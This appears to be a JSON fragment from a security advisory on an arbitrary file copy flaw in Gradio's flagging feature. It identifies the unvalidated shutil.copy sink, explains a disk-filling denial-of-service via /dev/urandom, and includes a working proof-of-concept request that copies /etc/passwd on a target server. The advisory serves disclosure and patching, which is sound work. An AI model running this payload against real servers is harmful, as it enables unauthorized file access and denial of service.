  "details": "An arbitrary file copy vulnerability in Gradio\u0027s flagging feature allows unauthenticated attackers to copy any readable file from the server\u0027s filesystem. While attackers can\u0027t read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.\n\n### Description\nThe flagging component doesn\u0027t properly validate file paths before copying files. Attackers can send specially crafted requests to the `/gradio_api/run/predict` endpoint to trigger these file copies.\n\n**Source**: User-controlled `path` parameter in the flagging functionality JSON payload  \n**Sink**: `shutil.copy` operation in `FileData._copy_to_dir()` method\n\nThe vulnerable code flow:\n1. A JSON payload is sent to the `/gradio_api/run/predict` endpoint\n2. The `path` field within `FileData` object can reference any file on the system\n3. When processing this request, the `Component.flag()` method creates a `GradioDataModel` object\n4. The `FileData._copy_to_dir()` method uses this path without proper validation:\n\n```python\ndef _copy_to_dir(self, dir: str) -\u003e FileData:\n    pathlib.Path(dir).mkdir(exist_ok=True)\n    new_obj = dict(self)\n\n    if not self.path:\n        raise ValueError(\"Source file path is not set\")\n    new_name = shutil.copy(self.path, dir)  # vulnerable sink\n    new_obj[\"path\"] = new_name\n    return self.__class__(**new_obj)\n```\n5. The lack of validation allows copying any file the Gradio process can read\n\n### PoC\nThe following script demonstrates the vulnerability by copying `/etc/passwd` from the server to Gradio\u0027s flagged directory:\n\n\nSetup a Gradio app:\n\n```python\nimport gradio as gr\n\ndef image_classifier(inp):\n    return {\u0027cat\u0027: 0.2, \u0027dog\u0027: 0.8}\n\ntest = gr.Interface(fn=image_classifier, inputs=\"image\", outputs=\"label\")\n\ntest.launch(share=True)\n```\n\nRun the PoC:\n\n```python\nimport requests\n\nurl = \"https://[your-gradio-app-url]/gradio_api/run/predict\"  \nheaders = {\n    \"Content-Type\": \"application/json\",  \n    \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\" \n}\n\npayload = {\n    \"data\": [\n        {\n            \"path\": \"/etc/passwd\",  \n            \"url\": \"[your-gradio-app-url]\",\n            \"orig_name\": \"network_config\", \n            \"size\": 5000,  \n            \"mime_type\": \"text/plain\", \n            \"meta\": {\n                \"_type\": \"gradio.FileData\"  \n            }\n        },\n        {}  \n    ],\n    \"event_data\": None,\n    \"fn_index\": 4, \n    \"trigger_id\": 11, \n    \"session_hash\": \"test123\"  \n}\n\nresponse = requests.post(url, headers=headers, json=payload)\nprint(f\"Status Code: {response.status_code}\")\nprint(f\"Response Body: {response.text}\")\n```",
